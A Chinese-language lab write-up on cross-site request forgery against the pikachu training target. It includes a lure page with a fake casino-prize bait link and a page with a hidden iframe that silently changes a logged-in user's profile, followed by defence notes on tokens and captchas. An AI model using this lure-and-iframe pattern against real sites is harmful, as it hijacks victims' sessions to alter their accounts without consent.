目录
简介
跨站请求伪造(Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
原理
构造链接,在自己的网站或邮箱等引诱已登录用户点击。
举例
漏洞发现
使用靶机:pikachu
使用vince 123456登录
点击修改个人信息
抓包发现链接如上,存在CSRF漏洞。
链接及请求伪造
click.html
<html>
<head>
<title>
澳门皇家赌场上线啦!!!
</title>
</head>
<body>
<a href="requestforgery.html">美女荷官免费送100万,点击领取!!!</a>
</body>
</html>
requestforgery.html
<html>
<head>
<title>
领奖平台!!!
</title>
</head>
<body>
<p>请邮箱查收</p>
<iframe/ src="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=13098763456&add=shanghai&[email protected]&submit=submit" frameborder="0" width="0px">
</body>
</html>
修改地址即add参数为shanghai。
CSRF攻击
不同浏览器
pikachu登录是使用火狐,以下点击是使用谷歌。
界面刷新后没有问题
未登录状态
点击退出登录
使用火狐浏览器(网站同一浏览器)进行访问。
登录后查看,未改变。
登录状态
登录后重复上述操作,攻击成功!!!
代码查看
pikachu\vul\csrf\csrfget\csrf_get_login.php
使用session保存的,没有验证码或token。
防御
用户
通过简介就可以看出用户可以做的防御措施
- 不登录(用户使用网站应该会登录,登录时可以更换浏览器或选择浏览器模式)
- 不点击恶意链接
供应商(程序员)
- token
- 验证码
若存在xss攻击,则没有必要防御CSRF了,因为网站已经不安全,换浏览器或在浏览器层面防御也就没有意义了。
更多内容查看:网络安全-自学笔记
喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。如果您感觉有所收获,自愿打赏,可选择支付宝18833895206(小于),您的支持是我不断更新的动力。